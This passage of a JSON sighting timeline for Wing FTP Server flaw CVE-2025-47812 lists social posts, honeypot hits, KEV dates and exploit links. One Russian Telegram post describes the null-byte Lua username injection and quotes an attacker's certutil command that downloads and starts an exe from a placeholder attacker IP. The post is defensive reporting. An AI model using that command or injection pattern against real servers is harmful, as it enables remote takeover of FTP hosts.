"field": "creation_timestamp", "uuid": "2e41cc48-b6f6-47f2-9362-24c5ffea2e56", "url": "https://bsky.app/profile/ytroncal.bsky.social/post/3ltyjqu3oq22q"}, {"timestamp": "2025-07-15T16:41:22.972Z", "date_only": false, "value": "2025-07-15T16:41:22.972767Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3ltzdt3gack2c", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "1e923290-5070-4324-9360-95eb8189d1f0", "url": "https://bsky.app/profile/thedailytechfeed.com/post/3ltzdt3gack2c"}, {"timestamp": "2025-07-15T20:06:38.150Z", "date_only": false, "value": "2025-07-15T20:06:38.150398Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ltzpc3yzdk22", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "caffc6c2-bc3c-44eb-9a39-994af2cec6af", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ltzpc3yzdk22"}, {"timestamp": "2025-07-15T20:10:48.549Z", "date_only": false, "value": "2025-07-15T20:10:48.549465Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ltzpjkw3w222", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "4b62cb53-eb14-415c-b93f-614b4e73d047", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ltzpjkw3w222"}, {"timestamp": "2025-07-15T20:55:35.311Z", "date_only": false, "value": "2025-07-15T20:55:35.311471Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ltzrzplepk2c", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "5b9e1f7b-4ab7-4b34-ab23-b8b1337f98dd", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ltzrzplepk2c"}, {"timestamp": "2025-07-15T20:59:37.269Z", "date_only": false, "value": "2025-07-15T20:59:37.269696Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ltzsavgjx22c", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "1bcb50f1-6215-48ff-8e0f-dba2d85a40ef", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ltzsavgjx22c"}, {"timestamp": "2025-07-15T21:02:24.102Z", "date_only": false, "value": "2025-07-15T21:02:24.102780Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3ltzsfrqbii2c", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "17d3631e-9870-4440-b2ce-39cf872a8020", "url": "https://bsky.app/profile/beikokucyber.bsky.social/post/3ltzsfrqbii2c"}, {"timestamp": "2025-07-16T00:00:00Z", "date_only": false, "value": "2025-07-16T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-07-16)", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "0437f706-155a-4ef0-95f1-8ba1a03919c1"}, {"timestamp": "2025-07-16T01:39:41Z", "date_only": false, "value": "2025-07-16T01:39:41.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/sysodmins/26258", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "a90c6d81-8edf-4a59-a0dd-7764c51d5091", "content": "\ud83d\udd25 Wing FTP Server \u043f\u043e\u0434 \u0430\u0442\u0430\u043a\u043e\u0439. \u0420\u0430\u0437\u0431\u043e\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043a\u043e\u043c\u0435\u0434\u0438\u044f \u043e\u0448\u0438\u0431\u043e\u043a \u043e\u0442 \u0445\u0430\u043a\u0435\u0440\u043e\u0432.\n\n\u041d\u043e\u0432\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u0432\u0441\u0435\u0445, \u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 Wing FTP Server. \u0412 \u043d\u0435\u043c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2025-47812, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 SYSTEM/root. \n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f, \u0442\u0430\u043a \u0447\u0442\u043e \u0435\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442 \u044d\u0442\u043e\u0442 \u0441\u0435\u0440\u0432\u0435\u0440, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.4.4.\n\n\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044e \u0438\u0437 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0431\u0430\u0439\u0442\u0430 (%00) \u0438 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u043a\u043e\u0434\u0430 \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 Lua \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u0440\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 (\u0447\u0435\u0440\u0435\u0437 loginok.html). \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c, \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u043f\u0430\u0440\u043e\u043b\u044c (\u0438\u043b\u0438 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u0443\u044e, \u0435\u0441\u043b\u0438 \u043e\u043d\u0430 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430). \u041f\u043e\u043b\u0435\u0437\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0432 \u043f\u043e\u043b\u0435 username \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a: `` \u0438\u043c\u044f_\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f%00]]...\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439_Lua_\u043a\u043e\u0434...-- ``. \u041d\u0443\u043b\u0435\u0432\u043e\u0439 \u0431\u0430\u0439\u0442 \u043e\u0431\u0440\u044b\u0432\u0430\u0435\u0442 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0441\u0442\u0440\u043e\u043a\u0438 \u0441 \u0438\u043c\u0435\u043d\u0435\u043c, ]] \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441 \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u0441\u0435\u0441\u0441\u0438\u0438, \u0430 -- \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0438\u0440\u0443\u0435\u0442 \u043e\u0441\u0442\u0430\u0442\u043e\u043a \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 Lua-\u043a\u043e\u0434 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 \u0444\u0430\u0439\u043b \u0441\u0435\u0441\u0441\u0438\u0438 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 (\u0444\u0430\u0439\u043b \u0441 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435\u043c .lua \u0432 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 session). \u041f\u0440\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0438 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0440\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b dir.html) \u043e\u043d \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442 \u044d\u0442\u043e\u0442 \u0444\u0430\u0439\u043b, \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434.\n\n\u041f\u0440\u0438\u0437\u043d\u0430\u043a\u0438 \u0432\u0437\u043b\u043e\u043c\u0430 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0432 \u043b\u043e\u0433\u0430\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 (Log\\Domains\\) \u2014 \u0438\u0449\u0438\u0442\u0435 \u043e\u0431\u0440\u0435\u0437\u0430\u043d\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432\u0438\u0434\u0430 `` User 'anonymous `` (\u0431\u0435\u0437 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0449\u0435\u0439 \u043a\u0430\u0432\u044b\u0447\u043a\u0438). \u0411\u043e\u043b\u0435\u0435 \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0441\u0435\u0441\u0441\u0438\u0439 \u0432 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 session \u043d\u0430 \u0430\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0440\u0430\u0437\u043c\u0435\u0440 \u0438\u043b\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e Lua-\u043a\u043e\u0434\u0430 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0434\u043b\u044f hex-\u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438\u043b\u0438 \u0432\u044b\u0437\u043e\u0432\u0430 io.popen). \u041e\u0434\u0438\u043d \u0438\u0437 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u0435\u0439\u043b\u043e\u0430\u0434\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b \u0442\u0430\u043a: `` certutil -urlcache -f http://[IP_\u0410\u0422\u0410\u041a\u0423\u042e\u0429\u0415\u0413\u041e]/[payload.exe] %TEMP%\\mvveiWJHx.exe & start /B %TEMP%\\mvveiWJHx.exe ``.\n\n\u0410 \u0442\u0435\u043f\u0435\u0440\u044c \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u043a\u0430\u043a \u044d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u043e \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435. \u0410\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0438 \u0438\u0437 Huntress \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438 \u0440\u0435\u0430\u043b\u044c\u043d\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u0438 \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u0438, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c, \u043c\u044f\u0433\u043a\u043e \u0433\u043e\u0432\u043e\u0440\u044f, \u043d\u0435 \u0441\u0430\u043c\u044b\u0435 \u043e\u043f\u044b\u0442\u043d\u044b\u0435 \u0445\u0430\u043a\u0435\u0440\u044b. \u0418\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0431\u044b\u043b\u0438 \u043f\u043e\u0445\u043e\u0436\u0438 \u043d\u0430 \u043a\u043e\u043c\u0435\u0434\u0438\u044e \u043e\u0448\u0438\u0431\u043e\u043a: \u043e\u043d\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0438 \u0431\u0430\u0437\u043e\u0432\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0434\u043b\u044f \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0438 (ipconfig, whoami), \u043f\u044b\u0442\u0430\u043b\u0438\u0441\u044c \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0441 \u043f\u0430\u0440\u043e\u043b\u044f\u043c\u0438 \u0432\u0440\u043e\u0434\u0435 123123qweqwe, \u0434\u0435\u043b\u0430\u043b\u0438 \u043e\u043f\u0435\u0447\u0430\u0442\u043a\u0438 \u0432 \u043f\u0443\u0442\u044f\u0445 \u043a \u0444\u0430\u0439\u043b\u0430\u043c (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, c:^A.exe, \u0433\u0434\u0435 ^A \u2014 \u044d\u0442\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u0441\u0438\u043c\u0432\u043e\u043b SOH), \u043f\u044b\u0442\u0430\u043b\u0438\u0441\u044c \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 dir \u043a\u0430\u043a \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a \u0438 \u043d\u0435 \u0441\u043c\u043e\u0433\u043b\u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c curl-\u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0434\u043b\u044f \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u044f \u0441\u0432\u043e\u0435\u0433\u043e \u0436\u0435 \u0431\u044d\u043a\u0434\u043e\u0440\u0430. \u0412 \u043a\u043e\u043d\u0446\u0435 \u043a\u043e\u043d\u0446\u043e\u0432, \u043e\u043d\u0438 \u043f\u043e\u043f\u044b\u0442\u0430\u043b\u0438\u0441\u044c \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043f\u0435\u0439\u043b\u043e\u0430\u0434 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e certutil, \u043d\u043e \u0435\u0433\u043e \u0442\u0443\u0442 \u0436\u0435 \u0443\u0434\u0430\u043b\u0438\u043b Microsoft Defender (Trojan:Win32/Ceprolad.A). \u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441 WFTPServer.exe \u0443\u043f\u0430\u043b, \u0438 \u0441\u0435\u0441\u0441\u0438\u044f \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445 \u043e\u0431\u043e\u0440\u0432\u0430\u043b\u0430\u0441\u044c \ud83d\ude02\ud83d\ude02\n\n\u042d\u0445, \u0430 \u0432\u0435\u0434\u044c \u0431\u044b\u043b\u0438 \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u044b\u0435 \u043d\u0443\u043b\u0435\u0432\u044b\u0435, \u043a\u043e\u0433\u0434\u0430 \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043d\u0443\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0431\u044b\u0442\u044c \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u043c \u0433\u0435\u043d\u0438\u0435\u043c. \u0410 \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0430\u0439\u0442\u0438 \u0433\u043e\u0442\u043e\u0432\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043d\u0430 GitHub \u0438 \u0443\u043c\u0435\u0442\u044c \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u0443... \u0445\u043e\u0442\u044f, \u043a\u0430\u043a \u0432\u0438\u0434\u043d\u043e, \u0434\u0430\u0436\u0435 \u0441 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u043c \u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \ud83d\ude2c\n\n\u0422\u0438\u043f\u0438\u0447\u043d\u044b\u0439 \ud83e\udd78 \u0421\u0438\u0441\u0430\u0434\u043c\u0438\u043d", "url": "https://t.me/sysodmins/26258"}, {"timestamp": "2025-07-16T02:25:15.323Z", "date_only": false, "value": "2025-07-16T02:25:15.323848Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lu2eh7flgy2j", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "f27aeeef-2d54-4903-9745-f9cf9f383c83", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3lu2eh7flgy2j"}, {"timestamp": "2025-07-16T06:56:55.985Z", "date_only": false, "value": "2025-07-16T06:56:55.985337Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/rxerium.com/post/3lu2tmxmc2a2x", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "3819c0d1-39aa-4314-8ee5-bd6cc5d636d3", "url": "https://bsky.app/profile/rxerium.com/post/3lu2tmxmc2a2x"}, {"timestamp": "2025-07-16T08:40:15.932Z", "date_only": false, "value": "2025-07-16T08:40:15.932214Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/yayafa.bsky.social/post/3lu2zfrhi4o2e", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "57fe1f6b-d042-484a-9a44-ad6f0f3c6077", "url": "https://bsky.app/profile/yayafa.bsky.social/post/3lu2zfrhi4o2e"}, {"timestamp": "2025-07-16T09:00:04Z", "date_only": false, "value": "2025-07-16T09:00:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/NdPZSTtIE4NWYgzkW1qGVgsu1ozTh6WtjvXjKsyPnGPQPvY", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "a35d5212-e4c7-4823-9d6c-11df96ff7d10"}, {"timestamp": "2025-07-16T20:14:38.358Z", "date_only": false, "value": "2025-07-16T20:14:38.358435Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lu4a7dtpec2g", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "f050293c-f669-4537-a254-17f083b63afa", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lu4a7dtpec2g"}, {"timestamp": "2025-07-17T03:42:10.189Z", "date_only": false, "value": "2025-07-17T03:42:10.189386Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3lu4z7oeepc2o", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "03d258d9-ba0f-4a98-b5d1-24d45e4b2291", "url": "https://bsky.app/profile/cyberhub.blog/post/3lu4z7oeepc2o"}, {"timestamp": "2025-07-17T03:55:37.528Z", "date_only": false, "value": "2025-07-17T03:55:37.528015Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "cve-2025-47812", "field": "containers.adp.0.metrics.0.other.content.timestamp"}, {"timestamp": "2025-07-17T03:55:37.528Z", "date_only": false, "value": "2025-07-17T03:55:37.528015Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2025-47812", "record": "FKIE_CVE-2025-47812", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2025-07-17T13:55:51Z", "date_only": false, "value": "2025-07-17T13:55:51.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/44359", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "9b264d2c-d0ed-41cf-8321-f0874997fb9c", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1aCVE-2025-47812\nURL\uff1ahttps://github.com/B1ack4sh/Blackash-CVE-2025-47812\n\n\u6807\u7b7e\uff1a#CVE-2025", "url": "https://t.me/GithubRedTeam/44359"}, {"timestamp": "2025-07-17T21:00:04Z", "date_only": false, "value": "2025-07-17T21:00:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/40DiTDlYb5p4ZPT_drNeZLNiLz3KVu7PcUqmJn95NVzWUUY", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "6e1c1a76-6fd2-44d2-91d2-7f8043da8acf"}, {"timestamp": "2025-07-18T13:03:34.731Z", "date_only": false, "value": "2025-07-18T13:03:34.731315Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/sequretek.bsky.social/post/3luaj2ii6m225", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "79da43e6-faa0-45c3-b155-180ec517baeb", "url": "https://bsky.app/profile/sequretek.bsky.social/post/3luaj2ii6m225"}, {"timestamp": "2025-07-19T02:23:07.396Z", "date_only": false, "value": "2025-07-19T02:23:07.396214Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lubvq2fulb2h", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "3a7ab834-a6d6-4cd7-ac16-fa82adf468b3", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3lubvq2fulb2h"}, {"timestamp": "2025-07-20T02:27:40.335Z", "date_only": false, "value": "2025-07-20T02:27:40.335267Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3luegh7rjoz2h", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "62d10069-ff02-4c6b-bb10-a0fe3c67244a", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3luegh7rjoz2h"}, {"timestamp": "2025-08-01T00:00:00Z", "date_only": false, "value": "2025-08-01T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-01)", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "1c54f29b-d043-4e09-9c96-0d71c7cf97ca"}, {"timestamp": "2025-08-02T00:00:00Z", "date_only": false, "value": "2025-08-02T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-02)", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "2e0366bf-da88-4058-b56a-e684b5455369"}, {"timestamp": "2025-08-04T00:00:00Z", "date_only": true, "value": "2025-08-04", "kind": "kev", "label": "Due date", "source": "cisa-kev", "record": "CVE-2025-47812", "field": "evidence.0.details.due_date", "uuid": "67ddc300-6b8c-4973-be9d-e75aa27209ac", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-08-14T00:00:00Z", "date_only": false, "value": "2025-08-14T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-14)", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "4171fd0b-b39e-4ed9-a5e7-72da9508c9aa"}, {"timestamp": "2025-08-15T00:00:00Z", "date_only": false, "value": "2025-08-15T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-15)", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "263a60f4-9bf8-4274-8874-e54bdaf3e350"}, {"timestamp": "2025-08-20T00:00:00Z", "date_only": false, "value": "2025-08-20T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-20)", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "3e9b236a-db89-43da-bce4-7395953dac30"}, {"timestamp": "2025-09-09T00:51:31Z", "date_only": false, "value": "2025-09-09T00:51:31.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/c8e1683d-0980-4c43-ac15-6c158bd8a9a1", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "2729498e-1da7-4c81-8a9d-812f05c0bcb9"}, {"timestamp": "2025-09-13T00:00:00Z", "date_only": false, "value": "2025-09-13T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-13)", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "66543864-cc6f-4d3f-a5f8-b836b467f8f2"}, {"timestamp": "2025-09-15T00:00:00Z", "date_only": false, "value": "2025-09-15T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-15)", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "6c67eba3-05d3-404e-be60-2f476f346cda"}, {"timestamp": "2025-09-15T17:33:16.737Z", "date_only": false, "value": "2025-09-15T17:33:16.737Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / mitre", "record": "cve-2025-47812", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2025-09-26T00:00:00Z", "date_only": false, "value": "2025-09-26T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-26)", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "b8a2df52-9559-44c5-9242-c5aa5d2fd980"}, {"timestamp": "2025-09-28T08:23:31Z", "date_only": false, "value": "2025-09-28T08:23:31.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "record": "CVE-2025-47812", "field": "creation_timestamp", "uuid": "d12d82fd-bfc4-4a23-82bc-ea9fb376a16d"}, {"timestamp": "2025-09-29T03:12:18Z", "date_only": false, "value": "2025-09-29T03:12:18.000000Z", "kind": "sighting", "label": "Seen", "source": 